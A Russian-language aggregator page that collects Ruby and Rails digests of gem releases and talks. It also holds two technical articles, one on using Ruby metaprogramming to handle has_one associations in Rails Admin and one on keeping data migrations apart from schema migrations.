imageИзучаем Ruby с Хэсусом Кастэйо типы Ruby-методов.

imageQuick Stream: тайна унарных операторов.

imageДавайте строить для разработчиков Ruby & Rails Часть 1.

imageДавайте строить для разработчиков Ruby & Rails Часть 2. Моделирование данных и гемы.

imageДавайте строить для разработчиков Ruby & Rails Часть 3. Конфигурация и начальная настройка.

imageBasecamp Live: Команда Ops обсуждает HEY разговаривают о том, каково было запустить HEY, и немного о работе в команде.

Две недели Basecamp выпустили свой новый почтовый сервис HEY 15 июня. Предполагалось, что это будет спокойный, контролируемый запуск продукта, но за этим последовал период, который генеральный директор Джейсон Фрид назвал хаотичным, захватывающим, ужасным.

Q and HEY, Часть 2 cоучредители Basecamp Джейсон Фрид и Дэвид Хайнемайер Ханссон недавно провели прямую трансляцию, где ответили на вопросы о сервисе HEY.

Прогрессивные веб-приложения на Ruby on Rails.

WebAuthn в Ruby с Гонсало Родригесом и Браулио Мартинесом.

Футуризм, Jumpstart и Javascript-зависимости.

Строительство домов и программ, переводы и Бриджтаун.

Новые версии


RubyMine 2020.2 IDE от JetBrains для Ruby.

Alchemy CMS 5.0.0 открытый CMS-движок на Ruby on Rails.

Thinking Sphinx 5.0.0 библиотека для интеграции ActiveRecord с полнотекстовым поиском Sphinx.

Stitches 4.0.0 надстройка над Ruby on Rails для упрощения разработки микросервисов.

Plaid-ruby 11.0.0 официальный API-клиент для финансового сервиса Plaid.

Facebook Messenger 2.0.0 гем для создания ботов для Facebook Messenger.

Learn-co 4.0.0 интерфейс командной строки для learn.co.

BookingSync Portal Rails-engine для упрощения создания приложений портала BookingSync.

Google Ads Client Library for Ruby 6.0.0 клиентская библиотека для Google Ads API.

Обновления


Rails Event Store 1.1.0 библиотека для публикации, хранения и извлечения событий.
Unicorn 5.6.0 HTTP-сервер для Rack-приложений.
Psych 3.2.0 встроенный в Ruby YAML-парсер.
Strong Migrations 0.7.0 отлов небезопасных миграций при разработке.
Mongo 2.13.0 драйвер для NoSQL СУБД MongoDB.
Aerospike Ruby Client 2.13.0 клиент для NoSQL СУБД Aerospike.
Influxdb-client-ruby 1.6.0 клиент для СУБД InfluxDB.
Spree Auth (Devise) 4.2.0 аутентификация на основе Devise для ecommerce-платформы Spree.
Puppet Strings 2.5.0 генератор документации для средств администрирования Puppet.
Bson 4.10.0 реализация спецификации BSON.
Rubocop-rails 2.7.0 расширение RuboCop для проверки приложений на Ruby on Rails.
Active_type 1.4.0 поддержка паттерна Tableless, синтаксически похожего на ActiveRecord.
Angularjs-rails 1.8.0 обертка для использования AngularJs в приложениях на Ruby on Rails.
Jasmine 3.6.0 тесты на JavaScript с синтаксисом подобным RSpec.
Mini_racer 0.3.0 встраивание V8 в Ruby на основе Node.js.
ImageInfo 1.2.0 гем для получения параметров изображения по url.
Fastimage 2.2.0 еще один гем для получения параметров изображения по url.
Rollout 2.5.0 переключатель состояния (включено/выключено) на основе Redis.
Knapsack Pro 2.1.0 разбиение тестов по нескольким CI-серверам и балансировка нагрузки.
Cfndsl 1.2.0 DSL для шаблонов AWS Cloudformation.
Nexmo 7.2.0 клиент для коммуникационной платформы Nexmo.
Pennyworth 9.3.0 расширение команд Alfred на MacOS.
Imgix 3.3.0 клиент для генерации url-ов изображений с использованием сервиса ImgIx.
Docraptor 1.4.0 клиент для конвертирования HTML в PDF или Xlsx с помощью сервиса DocRaptor.
Sensu-plugins-filesystem-checks 2.1.0 проверка файловой системы для мониторинга Sensu.
Pedump 0.6.0 получение дампа бинарных файлов win32 PE.
Slack Ruby client 0.15.0 клиент для Slack.

Поизучать


GitLab: Как мы мигрировали серверы приложений с Unicorn на Puma.
Введение в Ruby для Javascript-разработчиков.
Осмысление Webpacker в Rails 6.
Введение в Stimulus.js.
Автодополнение со StimulusJS.
Вникаем в Bundler выполнять `bundle exec` или нет? вот в чем вопрос.
Стакан на половину nil?
Назад в будущее или как проверить time-based логику в Rails.
Создание запароленной конференц-линии с Twilio и Ruby.
Создание прочного основания на Rails-связях.
Развертывание ваших Rails 6 приложений.
Будьте осторожны с методами приведения.
Введение в Ruby Procs и Lambdas (и в чем разница).
Повышение надежности тестов на RSpec.
Об мощь Apple-монополии сервис HEY разбивается.
Маркетплейс со Stripe Connect.

Ruby Digest 2020 c 01.07 по 15.07.
Подробнее..

Метапрограммирование в реальной задаче

28.01.2021 00:21:03 | Автор: admin

Всем привет! В этой статье хочу рассказать про метапрограммирование на примере реальной часто встречающейся проблемы.

Когда кто то говорит про метапрограммирование у олдскульного кодировщика случается приступ ярости.

И на это есть причины так и на большом проекте может показаться безумием использовать метапрограммирование, так как код становится очень сложным для чтения. А если в проект включится специалист со стороны, то он и подавно ничего не разберет в этом мета-коде.

Но все не так просто, как говорится - нет плохих инструментов. В этой статьей я постараюсь показать на реальном рабочем примере как метапрограммирование поможет сделать ваш код чище, избавит от рутинных повторений. И заставит порадоваться мета-магии.

Справка из википеди

Метапрограммирование вид программирования, связанный с созданием программ, которые порождают другие программы как результат своей работы (в частности, на стадии компиляции их исходного кода), либо программ, которые меняют себя во время выполнения (самомодифицирующийся код). Первое позволяет получать программы при меньших затратах времени и усилий на кодирование, чем если бы программист писал их вручную целиком, второе позволяет улучшить свойства кода (размер и быстродействие).

На этом заканчивается вступление. Теперь хочу перейти к практической части и рассказать про суть проблемы

Дальше речь пойдёт о языке ruby и фраймворке Rails в частности. В руби есть рефлексия и большие возможности для метапрограммирования. Большинство гемов, модулей и фреймворков созданы при помощи мощных инструментов рефлексии.

Photo by Joshua Fuller on Unsplash

Кто писал что то на Rails скорее всего сталкивался с таким гемом как Rails Admin, если вы в своих проектах на рельсах до сих не пробовали использовать его или аналоги категорически рекомендую это сделать, так как практически из коробки вы получите полноценную CMS для вашей системы.

Так вот там есть неприятная особенность проблема с has_one association.

Они не обрабатываются автоматически и у вас не будет возможности редактировать вашу has_one связь. Выглядит это примерно как на рисунке 1. Вместо селекта, просто ссылка на чертеж.

рисунок 1рисунок 1

Посмотрим на внутренности вот так выглядит модель нашего техпроцесса. У неё есть has_one связь с чертежом (draft) и хотелось бы иметь возможность редактировать её через CMS.

class TechProcess < ApplicationRecord  include MdcSchema  has_many :executor_programs, inverse_of: :tech_process, foreign_key: :barcode_tech_process, primary_key: :barcode  validates :barcode, presence: true  validates :barcode, uniqueness: true  has_one :draft2tech_process, dependent: :destroy  has_one :draft, through: :draft2tech_process  has_many :tech_process2tech_operations  has_many :tech_operations, through: :tech_process2tech_operationsend

Ситуация удивительная но решение этой проблемы простое как палка. Как следует из вики ассоциация has_one не будет должным образом инициализирована до тех пор, пока не будут заданы способы установки и получения идентификатора. Грубо говоря сетеры и гетеры.

Добавляем их в модель

def draft_id  self.draft.try :idenddef draft_id=(id)  self.draft = Draft.find_by_id(id)end

И в итоге получаем полноценный интерфейс редактирования техпроцесса с возможностью выбора чертежа, создания нового, или редактирования прикрепленного, в общем все прелести CMS.

Ничего сложного, но что если у нас 15 моделей с одной или даже несколькими связями has_one это что придется повторить эти гетеры сеттеры в каждом месте? Такое конечно можно сделать, но тогда нарушается очень важный принцип DRY. Ну и плюс природная лень не позволяет так расточительно писать много строк кода. Так что надо найти способ автоматизировать этот процесс и тут на помощь приходит метапрограммирование.

Meta решение

Что же приступим

self.reflect_on_all_associations(:has_one).each do |has_one_association|  define_method("#{has_one_association.name}_id") do    self.send(has_one_association.name).try :id  end  define_method("#{has_one_association.name}_id=") do |id|    self.send("#{has_one_association.name}=",has_one_association.klass.find_by_id(id))  endend

Вот так выглядит код, который подружит has_one и Rails Admin

А теперь более подробно что тут происходит. Далее детально буду останавливаться только на аспектах которые касаются рефлексии и мета программирования.

В руби всё является объектом, связь также является объектом и несет полную информацию о самой себе и всех своих отношениях. Первый интересный метод reflect_on_all_associations Который возвращает массив всех связей, но может принимать параметр "macro" в примере выше я передал туда :hasone и он вернул мне только has_one связи, прекрасно, даже не пришлось дальше селектить только нужные связи.

Отлично, теперь есть список всех has_one связей и нужно автоматизировано определить гетеры и сетеры. Дальше идет, простите за тавтологию, метод define_method который динамически прямо во время исполнения определяет метод.

В итоге этот код создает методы необходимые для корректной инициализации has_one в rails admin.

Сушим до конца

Всё это задумывалось для создания "сухого" кода, так что сейчас опишу последнюю деталь. Нужно всю эту мета-магию вынести в concern

require 'active_support/concern'module HasOneHandler  extend ActiveSupport::Concern  included do    self.reflect_on_all_associations(:has_one).each do |has_one_association|      define_method("#{has_one_association.name}_id") do        self.send(has_one_association.name).try :id      end      define_method("#{has_one_association.name}_id=") do |id|        self.send("#{has_one_association.name}=",has_one_association.klass.find_by_id(id))      end    end  endend

И в итоге класса который в который нужно добавить гетеры и сетеры, добавляется всего одна строчка со включением консерна. Таким малословным способом удалось подружить CMS и has_one связи. Если применять стандартный подход то пришлось бы писать определять гетеры и сетеры для каждой связи в каждой модели, а их может быть немало.

Итоговая версия модели
class TechProcess < ApplicationRecord  include MdcSchema  include HasOneHandler  has_many :executor_programs, inverse_of: :tech_process, foreign_key: :barcode_tech_process, primary_key: :barcode  validates :barcode, presence: true  validates :barcode, uniqueness: true  has_one :draft2tech_process, dependent: :destroy  has_one :draft, through: :draft2tech_process  has_many :tech_process2tech_operations  has_many :tech_operations, through: :tech_process2tech_operationsend

Заключение

Надеюсь мне удалось показать практическую ценность использования приемов метапрограммирования. Использовать его или нет решать конечно вам. Если применять его слишком часто и не к месту, то проект превратиться в абсолютно не читаемый и трудно отлаживаемый, но в случае правильного использования, напротив, уменьшает количество кода, улучшает читаемость и избавляет от рутиной работы. Спасибо всем кто дочитал!

Подробнее..

Ruby Digest 2020 с 01.07 по 15.07

27.07.2020 10:17:57 | Автор: admin
Ruby Digest 2020 с 1 по 15 июля: релизы, статьи, мультимедиа, обучение. Разбираемся,
что происходило в первой половине июля вокруг языка Ruby.
image



Релизы


Новинки


AnyCable 1.0.0 мультиязыковая замена Ruby WebSocket-гемов, которая позволяет использовать WebSocket серверы, написанные на других языках программирования, с протоколом Action Cable. Вместе с ним гем для Ruby on Rails AnyCable Rails 1.0.0.

aws-sdk-ivs 1.0.0 официальный гем от AWS для сервиса интерактивного видео Amazon IVS. Aws-sdk-ivs является частью AWS SDK for Ruby.

Новые версии


React on Rails 12.0.0 гем для расширенной интеграции Ruby on Rails и React.

Onebox 2.0.0 гем для преобразования URL-адресов в простое HTML-превью ресурса.

Capistrano::Bundler 2.0.0 гем для удаленного запуска команд Bundlerа через Capistrano.

Restforce 5.0.0 гем для использования Salesforce API и взаимодействия с Salesforce.

Prawn::Emoji 4.0.0 гем для добавления эмодзи в pdf-документы, созданные через Prawn image

Обновления


Grape 1.4.0 фреймворк, предоставляющий DSL для разработки RESTful API-интерфейсов и сопутствующие возможности.

Grape-swagger 1.2.0 автогенерация документации по вашему Grape API.

Sidekiq 6.1.0 фоновые обработчики для Ruby.

Zeitwerk 2.4.0 гем для автоматической загрузки констант (классов, модулей, используется в Ruby on Rails).

Capistrano::Rails 1.6.0 гем для удаленного запуска команд Rails через Capistrano.

Dynamoid 3.6.0 Ruby ORM для Amazon DynamoDB.

Blacklight 7.10.0 открытая исследовательская платформа с пользовательским интерфейсом, позволяющая применить к вашим коллекциям поиск на основе Solr.

GeoBlacklight 2.4.0 переработанная исследовательская платформа Blacklight для привязки к геопространственным данным с применением Solr.

Traject 3.4.0 гем для индексации MARC или XML данных для исследовательских решений на основе Solr (подобных Blacklight или VuFind).

Shopify API 9.2.0 клиент для администрирования магазинов на Shopify.

RSpotify 2.9.0 обертка для Spotify Web API.

Ruby_aem 3.8.0 клиент для Adobe Experience Manager API.

Booker Ruby Client 3.4.0 клиент для сервиса онлайн-бронирования Booker API.

Почитать


99 Bottles of OOP, Ruby Version новая книга 99 бутылок ООП, Ruby версия.

AnyCable 1.0: Four years of real-time web with Ruby and Go AnyCable 1.0: Четыре года Веба в реальном времени с Ruby и Go.

Why is Ruby still our choice in 2020? почему в 2020 году по-прежнему наш выбор Ruby?

Apollo launch: Building a migration architecture for 2U запуск Apollo: создание архитектуры миграции для 2U.

Ruby's Safe Navigation Operator `&.` and is it a Code Smell? оператор безопасной навигации `&.` в Ruby и не попахивает ли такой код?

Посмотреть и послушать


Exploring HEY's Gemfile исследование стека нового почтового сервиса HEY от Basecamp (DHHs Heys Gemfile).

imageFullCalendar with StimulusJS календарь для планирования со StimulusJS.

imageSoft Delete with Discard мягкое удаление с Discard.

Should Ruby Still Be a Thing in 2020 нужен ли Ruby в 2020-ом?

Job Searching and Hiring Advice During the Pandemic with Brian Mariani поиск работы и советы по найму во время пандемии с Брайаном Мариани.

Rails::Engine with Vladimir Dementyev Rails::Engine с Владимиром Дементьевым.

Поизучать


Ruby on Rails 6: Learn 25+ gems and build a Startup MVP 2020 обновленный курс Ruby on Rails 6: изучите 25+ гемов и создайте свой MVP стартап 2020.

System of a test: Proper browser testing in Ruby on Rails система тестов: правильное браузерное тестирование в Ruby on Rails.

Something out of Nothing: Null Object Pattern что-нибудь из ничего: паттерн Null Object.

GraphQL + SQL Magic for faster downloads on Shopify GraphQL + Магия SQL для ускорения загрузки на Shopify.

Changing Ruby classes at runtime with class_eval изменение классов Ruby во время выполнения с помощью class_eval.

OAuth & Heroku Play Nice налаживание OAuth и Heroku Play.

Is module_function really the same as extend self? действительно ли module_function тоже самое, что и extend self?
Подробнее..
Категории: Ruby , Ruby on rails , Digest , Ruby digest

Из песочницы Миграции данных в Ruby On Rails

05.08.2020 20:10:52 | Автор: admin

img


TL;DR Пожалуйста, выносите код миграции данных в Rake-задачи или пользуйтесь полноценными гемами в стиле миграций схемы. Покрывайте тестами эту логику.


Я работаю бэкенд-разработчиком в FunBox. В ряде проектов мы пишем бэкенд на Ruby On Rails. Мы стремимся выстраивать адекватные процессы разработки, поэтому, столкнувшись с проблемой, стараемся её осмыслить и выработать методические рекомендации. Так произошло и с проблемой миграции данных. Однажды я сделал миграцию данных в отдельной Rake-задаче, покрытой тестами, и у команды возник вопрос: Почему не в миграции схемы? Я спросил во внутреннем чате разработчиков, и, к моему большому удивлению, мнения разделились. Стало понятно, что вопрос неоднозначный и достоин вдумчивого анализа и статьи. Программа-максимум по целям на статью для меня будет выполнена, когда ссылку на этот текст кто-нибудь приведёт на ревью кода в ответ на вопрос, зачем конкретная миграция данных вынесена или, наоборот, не вынесена из миграции схемы.


Лирическое отступление


Я взялся писать эту статью, чтобы снизить боль и увеличить продуктивность командной работы. В начале я надеялся отыскать жёсткие доказательные доводы о вреде злоупотребления миграциями схемы для миграций данных. Параллельно с этим я читал книгу Николая Бердяева Смысл творчества. Опыт оправдания человека. Из неё я почерпнул понятие соборный дух.


В мире программирования и IT преимущественно царит желание людей придать всей деятельности наукообразность с подведением подо всё доказательной базы. Когда я приобщился к миру Ruby, я почувствовал что-то совсем другое. Юкихиро Матсумото создал язык, чтобы облегчить общение людей через код, и это породило особое сообщество человеколюбивых людей. Мне кажется, что в этом сообществе ощущается именно соборный дух: все разделяют похожие ценности, имеют схожие интуиции и относятся друг к другу с любовью в евангельском смысле слова, а значит, не нуждаются в доказательствах, так как, по Бердяеву, доказательства нужны при разных враждебных интуициях.


Открытие понятия соборного духа воодушевило меня на написание статьи, когда я уже понял, что доказательные доводы вряд ли возможны. Я поставил себе цель собрать аргументы, которые найдут отклик в сердцах разработчиков и породят интуицию, подсказывающую, что смешивать миграции схемы и миграции данных неэффективно, ибо это может приводить к проблемам в эксплуатации и сопровождении.


Проблемы смешивания миграций даннных и схемы


В официальной документации Rails говорится, что миграции предназначены для миграции схемы данных, то есть ограничиваются DDL-запросами. Но отсутствие готового решения для миграций данных, то есть DML-запросов, приводит к злоупотреблению миграциями схемы для преобразования данных. Кажется, что проблема эта специфична именно для Rails и подобных ему omakase-фреймворков бэкенд разработки. Когда для миграций схемы нет решения из коробки, то и злоупотреблять нечем. В англоязычной блогосфере много говорится об этой проблеме. Я собрал наиболее частые (возможно, все) доводы и выделил проблемы эксплуатации, сопровождения и сомнительные проблемы.


Проблемы эксплуатации


Миграции данных занимают больше времени, чем миграции схемы. Это увеличивает время простоя при развертываниях. При больших объёмах время простоя может превысить время тайм-аута, установленного для миграций, и понадобится ручное вмешательство.


Длинные транзакции по миграции данных повышают вероятность возникновения deadlocks в БД.


Для предотвращения обозначенных проблем эксплуатации, на этапе разработки можно использовать инструменты статического анализа кода, например, гемы Zero Downtime Migrations и Strong Migrations.


Проблемы сопровождения


Нарушение принципа единой ответственности


Миграции схемы это DSL (Domain Specific Language) на Ruby для DDL-конструкций языка SQL и обвязки над ними. Пока мы пользуемся DSL, разумное качество гарантируется ручной проверкой того, что миграция успешно выполняется в прямом и обратном направлении. Если мы ошибёмся в смысле миграции, то не сможем продолжить разработку и сразу исправим её.


Как только мы выходим за рамки DSL, чтобы произвести манипуляцию с данными, мы нарушаем принцип единой ответственности SRP. Последствием этого нарушения для нас является повышенный риск ошибок. Если мы захотим его устранить, то нам захочется покрывать миграции тестами, но


Нет тестов (по крайней мере адекватных, дешевых)


Автор статьи Ruby On Rails Data Migration ради тестирования миграций данных накатывает предыдущие миграции и проверяет, что целевая миграция выполнит нужные изменения данных. В большом приложении, это будет выполняться чудовищно долго и повысит когнитивную нагрузку на команду необходимостью читать и писать подобные тесты. Нежелательно иметь логику миграции данных внутри кода Rails-миграции, где её так сложно протестировать. Где эту логику расположить я расскажу в разделе о решениях.


Проблемы сопровождения при использовании классов моделей в миграции


Для логики миграции данных очень удобно вместо SQL использовать код моделей и средства языка ORM ActiveRecord.


Но это может приводить к следующим проблемам:


  1. Класс модели может быть переименован или удалён. Тогда будет получена ошибка несуществующей константы.
  2. В модели могут быть добавлены валидации, которые не позволят выполнить изменения.
  3. В модели могут присутствовать callbacks с побочными эффектами, на которые автор кода миграции не рассчитывает.

Для этих ситуаций придуман костыль с переопределением класса модели прямо в миграции. Это дублирование знания, и не может считаться образцовым решением.


Процитирую пример такого костыль из официального руководства Rails:


    # db/migrate/20100513121110_add_flag_to_product.rb    class AddFlagToProduct < ActiveRecord::Migration      class Product < ActiveRecord::Base      end      def change        add_column :products, :flag, :boolean        Product.reset_column_information        Product.all.each do |product|          product.update_attributes!(:flag => false)        end      end    end

Лично мне не хочется иметь в кодовой базе подобное.


Кстати, вместо each стоит использовать find_each c batch-обработкой.


Любопытно было заметить, что, начиная с версии 4.2 этот пример из руководства совсем убрали.


Проблемы сопровождения при использовании SQL в миграции


Если, стремясь уйти от использования моделей в миграциях, мы хотим использовать напрямую команды SQL, то мы сталкиваемся со следующими недостатками такого подхода:


  1. Логика выражается сложнее, чем через код модели. Сложнее, ибо менее лаконично, на более низком уровне абстракции, на другом языке (SQL), которым мы пользуемся сравнительно редко.
  2. Если есть JOIN-ы, это уже серьёзное дублирование знаний, выраженных в связях моделей.
  3. При длительной обработке невозможно отслеживать прогресс и невозможно понять, идёт ли ещё обработка или уже случился deadlock.

Сомнительные проблемы


В статье Thoughtbot приводится такое соображение: миграции схемы данных не являются бизнес-логикой, поэтому должна быть возможность в любой момент их выбросить и загружать схему целиком через DDL. Это позволит быстрее готовить окружение и прогонять тесты на CI. При удалении миграций из проекта содержащаяся в них логика миграции данных теряется.


Я не вижу здесь проблемы. Логика миграции данных точно так же, как и схемы, не является бизнес-логикой и потенциально может выбрасываться из проекта. А именно, когда эта логика применена и маловероятны откаты до состояния, предшествующего миграции. Если загружать готовую схему данных, то нас не интересуют никакие промежуточные преобразования существующих данных.


Например, в миграции данных могут устанавливаться значения полям, которые раньше были пустыми и стали обязательными. Но если нет никаких данных, то значения не для чего указывать.


Допустим, данные есть и мы выбрасываем старые миграции. Но старые миграции данных уже привели базу в нужное состояние, и они всё равно нерелевантны.


Вынашивая замысел статьи, на этот довод я возлагал большие надежды, но увы. Напишите, пожалуйста, в комментариях, что я могу здесь упускать.


Исключения, когда допустимо делать миграции данных в миграциях схемы


Миграцию данных допустимо включить в миграцию схемы в том случае, если без этого откатываемая миграция невозможна.


Например, превращение nullable-поля в поле со значением по умолчанию или наоборот.


Так как миграции должны быть откатываемыми, мы должны обеспечить обратное преобразование и без обновления значения никак не обойтись.


Запрос будет тривиальным, вида:


    UPDATE table SET field = 'f' WHERE field IS NULL

Вся миграция может выглядеть так:


    class ClientDemandsMakeApprovedNullable < ActiveRecord::Migration      def up        change_column_null :client_demands, :approved, true        change_column_default :client_demands, :approved, nil      end      def down        execute("UPDATE client_demands SET approved = 'f' WHERE approved IS NULL")        change_column_null :client_demands, :approved, false        change_column_default :client_demands, :approved, false      end    end

Вообще говоря, при большом объёме данных в таблице так делать не стоит и нужно прибегать к более изощренным приёмам. Например, не выполнять миграцию на проде, а делать все изменения руками и потом подменять файл миграции и версию в БД. Подробно этот приём описан в статье Dan Mayer Managing DB Schema & Data Changes в разделе Modifying Large Tables.


Возможные решения


Отказ от решения ввиду мизерного объёма приложения или данных


До определённого момента роста можно закрывать глаза на эту проблему и смешивать миграции схемы и данных. Эти старые грехи, никак вам не навредят. Бросить можно в любой момент и даже поступать по ситуации. Подскажите мне, пожалуйста, в комментариях, если я заблуждаюсь.


Но если приложение, база или команда разрастаются, то лучше прийти к более строгой дисциплине ради снижения потерь.


Вынос миграций данных в Rake-задачи


Самое доступное и очень действенное средство создавать для миграций данных Rake-задачи. Вот их удобно покрывать тестами непосредственно. У меня в процессе написания теста миграции данных часто случаются озарения по поводу требований и удаётся решить потенциальные бизнес-проблемы.


Недавно на проекте была не покрытая тестом Rake-задача миграции данных. На ревью кода никто не заметил, что вместо добавления элемента в массив производилась перезапись всего массива. Опечатка привела к повреждению данных и необходимости восстановления данных из бэкапа в ручном выборочном режиме. В процессе написания теста такая логическая опечатка не могла бы быть допущена. Так что тесты наши великие помощники в мыслительном процессе.


Процитирую пример, использующий все удобства, которые даёт Rake, из статьи Thoughtbot:


    # lib/tasks/temporary/users.rake    namespace :users do      desc "Actualize achievements counter cache"      task actualize_achievements_counter_cache: :environment do        # Cкоуп (ActiveRelation) пользователей с достижениями        users = User.with_achievements        # Вывод количества обрабатываемых записей        puts "Going to update #{users.count} users"        # Транзакция, в данном случае, не обязательна        # но чаще она нужна. Пусть будет для примера        ActiveRecord::Base.transaction do          # Batch-обработка с помощью find_each          users.find_each do |user|                    # Вызов идемпотентной актуализации кеша количества            user.actualize_achievements_counter_cache!            # Отслеживание прогресса            print "."          end        end        puts "Done!"      end    end

Я заменил each на find_each, чтобы обработка шла порциями и не загружала в память всю выборку. Это обязательная практика для обработки больших выборок без memory bloats. Подробнее в статье от Akshay Mohite.


Важно следить за идемпотентностью таких преобразований. Крайне вероятно, что Rake-задача будет выполнена на проде более одного раза.


Вынос миграций данных в отдельные внутренние классы внутри миграции


Mark Qualie предлагает внутри кода миграций схемы добавлять определение вложенного класса с методом up, определяющим логику миграции данных. Таким образом достигается локальность знаний об изменении схемы и связанных изменениях в данных. Вот пример кода из статьи:


    class AddLastSmiledAtColumnToUsers < ActiveRecord::Migration[5.1]      def change        add_column :users, :last_smiled_at, :datetime        add_index :users, :last_smiled_at      end      class Data        def up          User.all.find_in_batches(batch_size: 250).each do |group|            ActiveRecord::Base.transaction do              group.each do |user|                user.last_smiled_at = user.smiles.last.created_at                user.save if user.changed?              end            end          end        end      end    end

Выполнять эту логику автор предлагает вот таким образом:


    Dir.glob("#{Rails.root}/db/migrate/*.rb").each { |file| require file }    AddLastSmiledAtColumnToUsers::Data.new.up

Причём данный код автор предлагает поместить в асинхронный Job, добавив логирование и отслеживание выполненных миграций наподобие хранения в БД версии миграций схемы.


Использование полноценных гемов для миграций данных в стиле миграций схемы


Когда команда большая, приложение большое или миграции данных возникают в каждом втором-третьем релизе, может окупиться использование готового полнофункционального гема для миграций данных в стиле миграций схемы.


Подобных гемов оказалось достаточно много, но суперпопулярных среди них нет. Видимо, потому что масштаб проблемы мало у кого доходит до нужного размера.


У гема data-migrate наибольшее количество звездочек (> 670), ссылок из статей, а также самый ухоженный Readme. Он работает только с Rails 5+.


Ещё два гема с подобным опытом, но поддержкой Rails 4+:



Название последнего особенно примечательно. Оно кричит о противопоставлении миграций схемы и миграций НЕ схемы.


Аудит кода всех этих гемов я не проводил, ибо на проекте моего масштаба хватает подхода с Rake-задачами. Но их обнаружение было для меня одним из стимулов написать эту статью. Для меня они являются признаком серьёзности проблемы, с которой можно столкнуться при росте приложения.


Все они позволяют сгенерировать класс миграции данных в папке проекта db/data, которая находится рядом с традиционной db/migrate c миграциями схемы:


rails g data_migration add_this_to_that

А потом запускать и проверять статус командами вроде таких:


rake data:migraterake db:migrate:with_datarake db:rollback:with_datarake db:migrate:status:with_data

Хорошей идеей для упрощения тестирования будет выделение логики миграции во вложенный класс внутри миграции, как в предыдущем примере.


Заключение


Когда миграции данных возникают раз в несколько месяцев, то запускаемые вручную Rake-задачи наиболее прагматичное решение.


Но когда это происходит чаще, то стоит присмотреться к полномасштабным решениям через готовый гем в стиле миграций схемы.


Таким образом, проблему миграции данных стоит решать по мере роста масштаба проекта в архитектурном стиле, соответствующем этому масштабу. Кажется, такой подход имеет все шансы сделать процесс разработки адекватным.


Источники


Подробнее..

Ruby Digest

20.08.2020 14:16:33 | Автор: admin
Большая подборка информации о Ruby, включая русскоязычные источники, с 1 по 15 августа:
новости, медиа, новинки, релизы, статьи, обучение.



Новости


В Ruby 3 запланировано добавить Ractor абстракцию параллельных вычислений на модели акторов. Ractor разработан для обеспечения возможности параллельного выполнения ruby-кода
без проблем с потоко-безопасностью.

Приглашаются спикеры на конференцию RubyWorld 2020 в формате online.

21 августа, в эту пятницу, пройдёт конференция NoRuKo реорганизация в формате online конференции EuRuKo, крупнейшей европейской конференции по Ruby.

GitHub обновился до Ruby 2.7 в продакшене.

В недавнюю подборку Awesome Made by Russians вошло 7 проектов на Ruby:
Github-changelog-generator, Evil Icons, Parser, Lefthook, AnyCable, Ruby Tests Profiling Toolbox, Gon.

Посмотреть и послушать


imageRWpod 30 выпуск 08 сезона The State of Ruby 3 Typing, Infinite Scroll without Layout Shifts, Minesweeper, Starboard Notebook и прочее.

imageRWpod 31 выпуск 08 сезона How to Test Ruby Code That Depends on External APIs, 1Keys, Noticed, Ancestry, Fast, Hopi и прочее.

imageИнструментарий для разработки игр DragonRuby. Введение.

imageВведение в Serverless-платформу: давайте создадим Telegram-бота на Ruby с AWS Lambda и
API Gateway
.

imagedry-validation Для чего? Мотивация создания библиотеки.

imageКак докеризовать Rails-приложение.

imageДавайте строить для разработчиков Ruby и Rails Часть 4 Создание основных моделей.

imageДавайте строить для разработчиков Ruby и Rails Часть 5 Настройка констант и начальных данных.

imageИзучаем Ruby с Хэсусом Кастэйо обзор новых функций и методов, начиная с версии 2.0.

imageИдеи фан-проектов на Ruby.

imageApple Silicon Developer Transition Kit для Ruby-разработчиков.

imageКак переводить и локализовать приложения с помощью интернационализации Rails.

imageПодключение уведомлений к Rails: обработка неудачных запросов API.

imageКак добавить уведомления в Rails с помощью Noticed?

Noticed (уведомления в Rails), превью в реальном времени со Stimulus Reflex и найм в Podia

Интервью с Диланом Эндрюсом о пути из профессионального барабанщика до успешного разработчика, о привлечении джуниоров и об укреплении доверия.
Интервью с Мэттом Свенсоном, создателем Boring Rails, о сравнении SPA с традиционными приложениями Rails, достоинствах FormBuilder и некоторых других вещах.
Интервью с Стивом Полито о новой работе, прохождении собеседований и как в этом
помогает GitHub.
Интервью с с Кайлом дОливейра об использовании Rails в Super Scale.
Интервью с Кэмероном Дутро о развертывании Rails с использованием Docker и Kubernetes.
Интервью с Джейсоном Светтом все лучшие советы по программированию.
Интервью с Робби Расселом Oh My Zsh и поддержка Rails.

Новинки


Datadog-lambda-rb официальный гем для интеграции Datadog с AWS Lambda перевели в зрелую версию.

Puppet Debugger 1.0.0 отладчик для языка Puppet, отвечающего за настройку инфраструктуры.

Net::Hippie 1.0.0 легковесная обертка над Net::HTTP с использованием JSON по умолчанию.

FbcrawlColly 1.0.0 сканирование mbasic.facebook.com с помощью GO Colly.

Новые версии


Refinery CMS Blog 4.0.0 движок для Refinery CMS, самой популярной CMS на Ruby on Rails.

Health-monitor-rails 9.0.0 модуль для мониторинга состояния Rails и различных служб (db, cache, sidekiq, redis и других).

Hatchet 7.0.0 официальная библиотека интеграционного тестирования для разработки сборочных пакетов Heroku.

Sym 3.0.0 симметричное шифрование.

Rails::Auth 3.0.0 аутентификация для микросервисов и claims-based идентификация.

Kafo 5.0.0 основной установщик и конфигуратор в проектах Foreman и Katello для Puppet-модулей, позволяет создавать пользовательский интерфейс их подключения.

Rspec-puppet-facts 2.0.0 гем для упрощения тестирования Puppet manifests за счет встроенной информации об операционной системе.

Foreman Remote Execution 4.0.0 плагин удаленного выполнения для Foreman.

Ruby Google Cloud Bigtable API 2.0.0 библиотека для работы с Bigtable, облачной NoSQL СУБД для больших данных.

Google-cloud-datastore 2.0.0 библиотека для работы с Datastore, облачной масштабируемой
NoSQL СУБД.

Google Cloud Firestore API 2.0.0 библиотека для работы с Firestore, облачной serverless
базой документов.

It 2.0.0 библиотека для упрощения интернационализации.

Gretel 4.0.0 библиотека для формирования навигационных цепочек на Ruby on Rails.

SPDX 3.0.0 гибкий поиск лицензий программного обеспечения по названию лицензии.

Smart Init 5.0.0 простой гем для сокращения кода в конструкторе (метод initialize) объекта.

Gherkin for Ruby 15.0.0 парсер языка Gherkin.

Blacklight::Marc 7.0.0 поддержка MARC для исследовательской платформы Blacklight.

Обновления


JRuby 9.2.13.0 реализация Ruby на JVM.
Prawn 2.3.0 библиотека для создания PDF-файлов.
Kubeclient 4.9.0 клиент для Kubernetes REST API.
Brakeman 4.9.0 статический анализатор уязвимостей в Rails-приложениях.
Gollum 5.1.0 простая wiki поверх git-проекта.
GitLab 13.2 веб-система инструментов управления репозиториями Git, Wiki, CI/CD и другими.
OmniAuth OAuth2 1.7.0 DSL для OmniAuth OAuth2.
